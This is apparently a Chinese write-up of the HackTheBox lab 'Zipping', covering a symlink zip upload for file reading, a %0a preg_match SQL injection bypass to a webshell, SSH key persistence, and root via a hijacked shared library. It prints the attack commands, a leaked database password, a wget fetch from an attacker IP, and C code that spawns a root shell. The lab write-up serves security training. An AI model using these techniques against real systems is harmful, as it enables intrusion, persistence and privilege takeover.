Zipping

Zipping

  • 信息收集
    • 端口扫描
    • 目录扫描
    • webbanner信息收集
  • 漏洞利用
    • 空字节绕过---->失败
    • sqlI-preg_match bypass
      • 反弹shell
    • 稳定维持
  • 提权-共享库漏洞

参考:https://rouvin.gitbook.io/ibreakstuff/writeups/htb-season-2/zipping#sudo-privileges-greater-than-stock-binary
https://blog.csdn.net/qq_58869808/article/details/132790330

信息收集

端口扫描

在这里插入图片描述

目录扫描

这里记录一个爆破工具:gobuster
和一个字典:SecLists
在这里插入图片描述

webbanner信息收集

在这里插入图片描述
访问网站,发现存在以下输入框
在这里插入图片描述
这是个邮件发送界面,可能存在sql注入。
在这里插入图片描述
这个页面存在一个page参数,猜想可能存在LFI。
在这里插入图片描述
这是个文件上传界面,猜想可能存在文件上传。

漏洞利用

文件上传处只允许上传只包含pdf的zip压缩包
在这里插入图片描述我们可以创建符号链接来使用LFI:
我创建了一个名为test.pdf的符号链接,指向/etc/passwd,因为上传需要是一个包含pdf的zip文件。然后我创建了一个带有符号链接的zp文件:

ln -s ../../../../../../../../../../../etc/passwd test.pdf
zip -r --symlinks test.zip test.pdf
--symlinks 使pdf保持符号链接属性

在这里插入图片描述
上传成功并解压返回路径,访问uploads/bcf23e8aeb5be689d72908024cb8c1a8/test.pdf发现成功返回敏感文件。但是这个好像不能使用burp的重放发送包,必须通过浏览器请求,然后burp拦截响应包,不然它好像会删除。

在这里插入图片描述
能查看文件,我们首先查看 /var/www/html/upload.php。

/var/www/html/upload.php
<html>
<html lang="en">
<head><meta charset="utf-8"><meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"><meta name="description" content="Start your development with Creative Design landing page."><meta name="author" content="Devcrud"><title>Zipping | Watch store</title><!-- font icons --><link rel="stylesheet" href="assets/vendors/themify-icons/css/themify-icons.css"><!-- Bootstrap + Creative Design main styles --><link rel="stylesheet" href="assets/css/creative-design.css"></head>
<body data-spy="scroll" data-target=".navbar" data-offset="40" id="home"><!-- Page Header --><header class="header header-mini"> <div class="header-title">Work with Us</div> <nav aria-label="breadcrumb"><ol class="breadcrumb"><li class="breadcrumb-item"><a href="index.php">Home</a></li><li class="breadcrumb-item active" aria-current="page">Work with Us</li></ol></nav></header> <!-- End Of Page Header --><section id="work" class="text-center"><!-- container --><div class="container"><h1>WORK WITH US</h1><p class="mb-5">If you are interested in working with us, do not hesitate to send us your curriculum.<br> The application will only accept zip files, inside them there must be a pdf file containing your curriculum.</p><?phpif(isset($_POST['submit'])) {// Get the uploaded zip file$zipFile = $_FILES['zipFile']['tmp_name'];if ($_FILES["zipFile"]["size"] > 300000) {echo "<p>File size must be less than 300,000 bytes.</p>";} else {// Create an md5 hash of the zip file$fileHash = md5_file($zipFile);// Create a new directory for the extracted files$uploadDir = "uploads/$fileHash/";$tmpDir = sys_get_temp_dir();// Extract the files from the zip$zip = new ZipArchive;if ($zip->open($zipFile) === true) {if ($zip->count() > 1) {echo '<p>Please include a single PDF file in the archive.<p>';} else {// Get the name of the compressed file$fileName = $zip->getNameIndex(0);if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {$uploadPath = $tmpDir.'/'.$uploadDir;echo exec('7z e '.$zipFile. ' -o' .$uploadPath. '>/dev/null');if (file_exists($uploadPath.$fileName)) {mkdir($uploadDir);rename($uploadPath.$fileName, $uploadDir.$fileName);}echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';} else {echo "<p>The unzipped file must have  a .pdf extension.</p>";}}} else {echo "Error uploading file.";}}}?><!-- Submit File --><form id="zip-form" enctype="multipart/form-data" method="post" action="upload.php"><div class="mb-3"><input type="file" class="form-control" name="zipFile" accept=".zip"></div><button type="submit" class="btn btn-primary" name="submit">Upload</button></form><!-- End submit file --></div><!-- End of Container-->      </section><!-- End of Contact Section --><!-- Section --><section class="pb-0"><!-- Container --><div class="container"><!-- Pre footer --><div class="pre-footer"><ul class="list"><li class="list-head"><h6 class="font-weight-bold">ABOUT US</h6></li><li class="list-body"><p>Zipping Co. is a company that is dedicated to producing high-quality watches that are both stylish and functional. We are constantly pushing the boundaries of what is possible with watch design and are known for their commitment to innovation and customer service.</p>  <a href="#"><strong class="text-primary">Zipping</strong> <span class="text-dark">Watch Store</span></a></li></ul><ul class="list"><li class="list-head"><h6 class="font-weight-bold">USEFUL LINKS</h6></li><li class="list-body"><div class="row"><div class="col"><a href="#">Link 1</a><a href="#">Link 2</a><a href="#">Link 3</a><a href="#">Link 4</a></div><div class="col"><a href="#">Link 5</a><a href="#">Link 6</a><a href="#">Link 7</a><a href="#">Link 8</a></div></div></li></ul><ul class="list"><li class="list-head"><h6 class="font-weight-bold">CONTACT INFO</h6></li><li class="list-body"><p>Contact us and we'll get back to you within 24 hours.</p><p><i class="ti-location-pin"></i> 12345 Fake ST NoWhere AB Country</p><p><i class="ti-email"></i>  info@website.com</p><div class="social-links"><a href="javascript:void(0)" class="link"><i class="ti-facebook"></i></a><a href="javascript:void(0)" class="link"><i class="ti-twitter-alt"></i></a><a href="javascript:void(0)" class="link"><i class="ti-google"></i></a><a href="javascript:void(0)" class="link"><i class="ti-pinterest-alt"></i></a><a href="javascript:void(0)" class="link"><i class="ti-instagram"></i></a><a href="javascript:void(0)" class="link"><i class="ti-rss"></i></a></div></li></ul> </div><!-- End of Pre footer -->            <!-- foooter --><footer class="footer"><p>Made by <a href="https://github.com/xdann1">xDaNN1</p></footer><!-- End of Footer-->      </div><!--End of Container -->      </section><!-- End of Section -->
</body>
</html>

接下来分别查看shop的源码,

/var/www/html/shop/index.php                
<?php
session_start();
// Include functions and connect to the database using PDO MySQL
include 'functions.php';
$pdo = pdo_connect_mysql();
// Page is set to home (home.php) by default, so when the visitor visits, that will be the page they see.
$page = isset($_GET['page']) && file_exists($_GET['page'] . '.php') ? $_GET['page'] : 'home';
// Include and show the requested page
include $page . '.php';
?>

functions.php

<?php
function pdo_connect_mysql() {// Update the details below with your MySQL details$DATABASE_HOST = 'localhost';$DATABASE_USER = 'root';$DATABASE_PASS = 'MySQL_P@ssw0rd!';$DATABASE_NAME = 'zipping';
<TRUNCATED>

home.php

<?php
// Get the 4 most recently added products
$stmt = $pdo->prepare('SELECT * FROM products ORDER BY date_added DESC LIMIT 4');
$stmt->execute();
$recently_added_products = $stmt->fetchAll(PDO::FETCH_ASSOC);
?>
<?=template_header('Zipping | Home')?>
<div class="featured"><h2>Watches</h2><p>The perfect watch for every occasion</p>
</div>
<div class="recentlyadded content-wrapper"><h2>Recently Added Products</h2><div class="products"><?php foreach ($recently_added_products as $product): ?><a href="index.php?page=product&id=<?=$product['id']?>" class="product"><img src="assets/imgs/<?=$product['img']?>" width="200" height="200" alt="<?=$product['name']?>"><span class="name"><?=$product['name']?></span><span class="price">&dollar;<?=$product['price']?><?php if ($product['rrp'] > 0): ?><span class="rrp">&dollar;<?=$product['rrp']?></span><?php endif; ?></span></a><?php endforeach; ?></div>
</div>

在functions.php我们发现账号密码尝试使用ssh连接失败。
在home.php没有对用户控制的 id 参数进行任何输入验证。当我们在商店中尝试通过 ’ 字符进行 SQL 注入 并在 Burp 中渲染它时,我们会看到:
在这里插入图片描述
这说明sql注入是存在的,目录爆破id参数处理的位置。
然后,我们可以使用PDF LFI阅读product.php

<?php
// Check to make sure the id parameter is specified in the URL
if (isset($_GET['id'])) {$id = $_GET['id'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $id, $match)) {header('Location: index.php');} else {// Prepare statement and execute, but does not prevent SQL injection$stmt = $pdo->prepare("SELECT * FROM products WHERE id = '$id'");$stmt->execute();// Fetch the product from the database and return the result as an Array$product = $stmt->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)if (!$product) {// Simple error to display if the id for the product doesn't exists (array is empty)exit('Product does not exist!');}}
} else {// Simple error to display if the id wasn't specifiedexit('No ID provided!');
}
?>

那里的正则表达式看起来很难绕过,再加上盒子名称是Zipping的事实,很明显这不是预期的方法。

空字节绕过---->失败

回到文件上传,发现upload.php唯一存在的检查是pathinfo函数,它可以被绕过。

$zip = new ZipArchive;if ($zip->open($zipFile) === true) {if ($zip->count() > 1) {echo '<p>Please include a single PDF file in the archive.<p>';} else {// Get the name of the compressed file$fileName = $zip->getNameIndex(0);if (pathinfo($fileName, PATHINFO_EXTENSION) === "pdf") {mkdir($uploadDir);echo exec('7z e '.$zipFile. ' -o' .$uploadDir. '>/dev/null');echo '<p>File successfully uploaded and unzipped, a staff member will review your resume as soon as possible. Make sure it has been uploaded correctly by accessing the following path:</p><a href="'.$uploadDir.$fileName.'">'.$uploadDir.$fileName.'</a>'.'</p>';} else {echo "<p>The unzipped file must have  a .pdf extension.</p>";}

我们制作一个webshell,将其文件扩展名设置为.phpD.pdf。压缩webshell文件。
在这里插入图片描述
之后,我们在数据包即将发送时拦截数据包并将传输转换为十六进制格式,通过将其转换为空字节来有效地规避它。
在这里插入图片描述
在这里插入图片描述
当我们点击“输入”时,我们会发现我们输入的页面不存在,这是因为不正确的链接。但是,通过删除“%20.pdf”,按理说这里是可以访问成功的,但屡次尝试后失败,发现官网修复了。
在这里插入图片描述
那我们就继续读源码,审计源码
这里使用Som3B0dy师傅的脚本

/var/www/html/cart.php
<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {// Set the post variables so we easily identify them, also make sure they are integer$product_id = $_POST['product_id'];$quantity = $_POST['quantity'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {echo '';} else {// Construct the SQL statement with a vulnerable parameter$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";// Execute the SQL statement without any sanitization or parameter binding$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)if ($product && $quantity > 0) {// Product exists in database, now we can create/update the session variable for the cartif (isset($_SESSION['cart']) && is_array($_SESSION['cart'])) {if (array_key_exists($product_id, $_SESSION['cart'])) {// Product exists in cart so just update the quanity$_SESSION['cart'][$product_id] += $quantity;} else {// Product is not in cart so add it$_SESSION['cart'][$product_id] = $quantity;}} else {// There are no products in cart, this will add the first product to cart$_SESSION['cart'] = array($product_id => $quantity);}}// Prevent form resubmission...header('location: index.php?page=cart');exit;}
}// Remove product from cart, check for the URL param "remove", this is the product id, make sure it's a number and check if it's in the cart
if (isset($_GET['remove']) && is_numeric($_GET['remove']) && isset($_SESSION['cart']) && isset($_SESSION['cart'][$_GET['remove']])) {// Remove the product from the shopping cartunset($_SESSION['cart'][$_GET['remove']]);
}// Update product quantities in cart if the user clicks the "Update" button on the shopping cart page
if (isset($_POST['update']) && isset($_SESSION['cart'])) {// Loop through the post data so we can update the quantities for every product in cartforeach ($_POST as $k => $v) {if (strpos($k, 'quantity') !== false && is_numeric($v)) {$id = str_replace('quantity-', '', $k);$quantity = (int)$v;// Always do checks and validationif (is_numeric($id) && isset($_SESSION['cart'][$id]) && $quantity > 0) {// Update new quantity$_SESSION['cart'][$id] = $quantity;}}}// Prevent form resubmission...header('location: index.php?page=cart');exit;
}// Send the user to the place order page if they click the Place Order button, also the cart should not be empty
if (isset($_POST['placeorder']) && isset($_SESSION['cart']) && !empty($_SESSION['cart'])) {header('Location: index.php?page=placeorder');exit;
}if (isset($_POST['clear'])) {unset($_SESSION['cart']);
}// Check the session variable for products in cart
$products_in_cart = isset($_SESSION['cart']) ? $_SESSION['cart'] : array();
$products = array();
$subtotal = 0.00;
// If there are products in cart
if ($products_in_cart) {// There are products in the cart so we need to select those products from the database// Products in cart array to question mark string array, we need the SQL statement to include IN (?,?,?,...etc)$array_to_question_marks = implode(',', array_fill(0, count($products_in_cart), '?'));$stmt = $pdo->prepare('SELECT * FROM products WHERE id IN (' . $array_to_question_marks . ')');// We only need the array keys, not the values, the keys are the id's of the products$stmt->execute(array_keys($products_in_cart));// Fetch the products from the database and return the result as an Array$products = $stmt->fetchAll(PDO::FETCH_ASSOC);// Calculate the subtotalforeach ($products as $product) {$subtotal += (float)$product['price'] * (int)$products_in_cart[$product['id']];}
}
?><?=template_header('Zipping | Cart')?><div class="cart content-wrapper"><h1>Shopping Cart</h1><form action="index.php?page=cart" method="post"><table><thead><tr><td colspan="2">Product</td><td>Price</td><td>Quantity</td><td>Total</td></tr></thead><tbody><?php if (empty($products)): ?><tr><td colspan="5" style="text-align:center;">You have no products added in your Shopping Cart</td></tr><?php else: ?><?php foreach ($products as $product): ?><tr><td class="img"><a href="index.php?page=product&id=<?=$product['id']?>"><img src="assets/imgs/<?=$product['img']?>" width="50" height="50" alt="<?=$product['name']?>"></a></td><td><a href="index.php?page=product&id=<?=$product['id']?>"><?=$product['name']?></a><br><a href="index.php?page=cart&remove=<?=$product['id']?>" class="remove">Remove</a></td><td class="price">&dollar;<?=$product['price']?></td><td class="quantity"><input type="number" name="quantity-<?=$product['id']?>" value="<?=$products_in_cart[$product['id']]?>" min="1" max="<?=$product['quantity']?>" placeholder="Quantity" required></td><td class="price">&dollar;<?=$product['price'] * $products_in_cart[$product['id']]?></td></tr><?php endforeach; ?><?php endif; ?></tbody></table><div class="subtotal"><span class="text">Subtotal</span><span class="price">&dollar;<?=$subtotal?></span></div><div class="buttons"><input type="submit" value="Update" name="update"><input type="submit" value="Place Order" name="placeorder"><input type="submit" value="Clear" name="clear" onsubmit=""></div></form>
</div>
<?=template_footer()?>

sqlI-preg_match bypass

<?php
// If the user clicked the add to cart button on the product page we can check for the form data
if (isset($_POST['product_id'], $_POST['quantity'])) {// Set the post variables so we easily identify them, also make sure they are integer$product_id = $_POST['product_id'];$quantity = $_POST['quantity'];// Filtering user input for letters or special charactersif(preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}\[\]\\|;:'\",.<>\/?]|[^0-9]$/", $product_id, $match) || preg_match("/^.*[A-Za-z!#$%^&*()\-_=+{}[\]\\|;:'\",.<>\/?]/i", $quantity, $match)) {echo '';} else {// Construct the SQL statement with a vulnerable parameter$sql = "SELECT * FROM products WHERE id = '" . $_POST['product_id'] . "'";// Execute the SQL statement without any sanitization or parameter binding$product = $pdo->query($sql)->fetch(PDO::FETCH_ASSOC);// Check if the product exists (array is not empty)

我们要绕过这个preg_match,只需要在payload 前面输入%0a,就能绕过检测了,
但是注意这个 preg_match,会检查最后一个字符是以数字结尾的所以我们的payload,需要以数字结尾
并且我们写文件的路径需要是mysql可以写的目录
secure_file_priv 这个变量的值,在linux下,默认路径基本上都是 /var/lib/mysql
在这里插入图片描述
在这里插入图片描述

反弹shell

在这里插入图片描述
在这里插入图片描述
蚁剑连接
在这里插入图片描述
在这里插入图片描述

稳定维持

可能是不只我一个人在打,所以访问极不稳定,为了确保稳定和安全的连接,我们将授权密钥加载到 SSH 中。
本地执行命令,生成rsa密钥对

ssh-keygen -t rsa

一路回车后就会在~/.ssh/目录下生成私钥文件:id_rsa与公钥文件:id_rsa.pub,复制id_rsa.pub的内容,这里的内容需要加入到远程电脑中
创建authorized_keys或将/usr/share/man/man5/authorized_keys.5.gz里的提取出来改名成authorized_keys,将id_rsa.pub的内容粘贴到authorized_keys中去
在这里插入图片描述
将authorized_keys上传至目标机器的~/.ssh
在这里插入图片描述
这样kali就可无密连接ssh
在这里插入图片描述
在/home/rektsu目录下找到user.txt,提交第一个flag.

提权-共享库漏洞

检查sudo权限sudo -l,注意到我们对“/stock”具有root访问权限
在这里插入图片描述
我试着运行,发现其总是说没有输入正密码,但我没输入,他就弹出了
在这里插入图片描述
使用stringsltrace分析程序,从程序中提取可读文本。发现密码:St0ckM4nager
在这里插入图片描述
运行stock,输入密码,其功能就是查看一些信息,编辑一些信息。
在这里插入图片描述
使用strace可以看到这个程序,跑起来的时候的系统调用

可以看到,整个程序运行的时候,引入了 /home/rektsu/.config/libcounter.so这个文件
maybe,我们可以做一些劫持
https://tbhaxor.com/exploiting-shared-library-misconfigurations/

priv-esclation.c
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
void method()__attribute__((constructor)); 
void method() {system("/bin/bash -i");
}

由于我们已经使用sudo运行它,
因此无需使用setuid或setgid之后,使用它编译它并将其下载到/home/rektsu/.config
文件夹中:

#上传至目标机器上去执行
wget 10.10.16.5/priv-esclation.c 
gcc -shared -fpic -o /home/rektsu/.config/libcounter.so priv-esclation.c

然后,我们可以运行stock来获得一个根shell:
在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/136770.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【ComfyUI】RuntimeError: CUDA error: operation not supported

文章目录 前言解决办法方式一&#xff1a;黑名单策略方式二&#xff1a;启动时添加--disable-cuda-malloc 前言 最近好不容易&#xff0c;安装好ComfyUI后&#xff0c;启动也OK&#xff0c;点击生成图片时&#xff0c;报错了 got prompt model_type EPS adm 0 making attenti…

Postman应用——Collection、Folder和Request

文章目录 Collection新建CollectionCollection重命名保存Request到Collection在Collection下创建Request删除Collection Folder新建FolderFolder重命名保存Request到Folder在Folder下创建Request在Folder下创建Folder删除Folder Request创建临时RequestRequest重命名删除Reques…

【AAAI2023】Spatial-Spectral Transformer for Hyperspectral Image Denoising

论文&#xff1a;https://readpaper.com/paper/4694783227240398849 代码&#xff1a;https://github.com/MyuLi/SST 1、总体介绍 高光谱图像&#xff08;HSI&#xff09;去噪是后续HSI应用的关键预处理过程&#xff0c;但是基于CNN的方法需要在计算效率与非局部特征建模能力之…

如何快速走出网站沙盒期(关于优化百度SEO提升排名)

网站沙盒期是指新建立的网站在百度搜索引擎中无法获得好的排名&#xff0c;甚至被完全忽略的现象。这个现象往往发生在新建立的网站上&#xff0c;因为百度需要时间来评估网站的质量和内容。蘑菇号www.mooogu.cn 为了快速走出网站沙盒期&#xff0c;需要优化百度SEO。以下是5个…

【Linux】【网络】应用层协议:HTTPS

文章目录 HTTPS1. 加密方式2. 数据摘要 \ 数据指纹3. 数字签名 HTTPS 的 工作过程HTTPS 工作过程中的密钥 HTTP HTTPS HTTP&#xff08;HyperText Transfer Protocol&#xff09;&#xff1a; 是客户端浏览器或其他程序与 Web 服务器之间的应用层通信协议。 HTTPS&#xff0…

Mysql002:(库和表)操作SQL语句

目录&#xff1a; 》SQL通用规则说明 SQL分类&#xff1a; 》DDL&#xff08;数据定义&#xff1a;用于操作数据库、表、字段&#xff09; 》DML&#xff08;数据编辑&#xff1a;用于对表中的数据进行增删改&#xff09; 》DQL&#xff08;数据查询&#xff1a;用于对表中的数…

FFMpeg zoompan 镜头聚焦和移动走位

案例 原始图片 # 输出帧数&#xff0c;默认25帧/秒&#xff0c;25*4 代表4秒 # s1280x80 # 输出视频比例&#xff0c;可以设置和输入图片大小一致 # zoom0.002 表示每帧放大的倍数&#xff0c;下面代码是25帧/每秒 * 4秒&#xff0c;共1000帧 # 最终是 0.002*25*4 0.2&…

Cesium 生成点位坐标

文章目录 需求分析1. 点击坐标点实现2. 输入坐标实现 需求 用 Cesium 生成点位坐标&#xff0c;并明显标识 分析 以下是我的两种实现方式 第一种是坐标点击实现 第二种是输入坐标实现 1. 点击坐标点实现 //点位坐标getLocation() {this.hoverIndex 0;let that this;this.view…

VR全景需要加盟吗?简述VR全景加盟的意义

对于一个刚开始了解VR全景行业的新人来说&#xff0c;VR全景不是有软件、有设备、会拍摄就行了吗&#xff1f;为什么还要找全景平台进行加盟呢&#xff1f;VR全景加盟的作用又是什么呢&#xff1f;那么&#xff0c;我们就不得不多问几个问题了&#xff0c;例如不加盟的话&#…

马蹄集 oj赛(第十一次)

目录 除法2 tax 约数个数 约数之和 全部相同 石头剪刀布 模数 余数之和 数树 除法 除法2 黄金时间限制:1秒占用内存: 128 M难度: 给定n&#xff0c;求 ”i*[n/]&#xff0c;[] 表示对 取下整 格式 一个正整数n。输入格式: 输出格式:一个数表示答案 样例1 输入:4 输出…

软件测试-基本概念

软件测试-基本概念 1.什么是软件测试 测试指的是对我们生产出来的产品特性进行一些校验&#xff0c;例如对传感器、手机等的测试&#xff0c;而软件测试是对我们开发出的软件进行校验是否存在问题&#xff0c;测试软件特性是否符合用户需求。 2.软件测试的基本概念 软件测试…

sudo+vim+g++/gcc+makefile+进度条

目录 一、信任表中加入指定的普通用户&#xff08;使其能使用sudo&#xff09; 二、vim的使用 &#xff08;一&#xff09;基本概念 1. 正常/普通/命令模式(Normal mode) 2. 插入模式(Insert mode) 3. 末行模式(last line mode) &#xff08;二&#xff09;vim正常模式…

关于 Qt串口不同电脑出现不同串口号打开失败 的解决方法

若该文为原创文章&#xff0c;转载请注明原文出处 本文章博客地址&#xff1a;https://hpzwl.blog.csdn.net/article/details/132842297 红胖子(红模仿)的博文大全&#xff1a;开发技术集合&#xff08;包含Qt实用技术、树莓派、三维、OpenCV、OpenGL、ffmpeg、OSG、单片机、软…

应用(Application)部署容器化演进之路

目录 一、应用程序部署痛点 1.1 应用程序部署流程 1.2 应用程序扩缩容 1.3 应用程序多环境部署 二、 计算资源应用演进过程 2.1 使用物理服务器痛点 2.2 使用虚拟机优点与缺点 2.2.1 使用虚拟机优秀点 2.2.2 使用虚拟机缺点 2.3 使用容器的优点与缺点 2.3.1 使用容器…

【算法挨揍日记】day07——904. 水果成篮、438. 找到字符串中所有字母异位词

904. 水果成篮 904. 水果成篮 题目描述&#xff1a; 你正在探访一家农场&#xff0c;农场从左到右种植了一排果树。这些树用一个整数数组 fruits 表示&#xff0c;其中 fruits[i] 是第 i 棵树上的水果 种类 。 你想要尽可能多地收集水果。然而&#xff0c;农场的主人设定了…

Docker搭建私有仓库

Docker搭建私有仓库 一、私有仓库搭建 # 1、拉取私有仓库镜像 docker pull registry # 2、启动私有仓库容器 docker run --nameregistry -p 5000:5000 registry # 3、打开浏览器输入 http://你的服务器地址:5000/v2/_catalog 看到 {"repositories":[]} 表示搭建成功…

Python日志处理器,同时打印到控制台和保存到文件中,并保证格式一致

使用logging模块的时候&#xff0c;默认是输出到控制台的&#xff0c;当然也可以配置输出到文件中&#xff0c;但是当你配置了文件后&#xff0c;控制台的输出就消失了&#xff0c;所以&#xff0c;需要一个策略即能保存到文件中&#xff0c;又能输出到控制台中。 下面是我做的…

基于PHP的医药博客管理系统

有需要请加文章底部Q哦 可远程调试 基于PHP的医药博客管理系统 一 介绍 此医药博客系统基于原生PHP开发&#xff0c;数据库mysql&#xff0c;前端bootstrap。系统角色分为用户和管理员。用户可注册登录&#xff0c;查看/评论/搜索博客&#xff0c;建议留言。管理员可对用户&a…

添加一个仅管理员可见的页面

例如我新加一个页面 申请一个路由 《插播》 前端是如何知道我们是管理员的呢&#xff0c;ant-design框架会帮我们存到InitialState里&#xff0c;做为全局变量 在access.ts里我们获取到了用户是否为管理员 &#xff08;用户存在且为管理员&#xff09; 框架为我们打通了个路由…

[hive]搭建hive3.1.2hiveserver2高可用可hive metastore高可用

参考: Apache hive 3.1.2从单机到高可用部署 HiveServer2高可用 Metastore高可用 hive on spark hiveserver2 web UI 高可用集群启动脚本_薛定谔的猫不吃猫粮的博客-CSDN博客 没用里头的hive on spark,测试后发现版本冲突 一、Hive 集群规划(蓝色部分) ck1ck2ck3Secondary…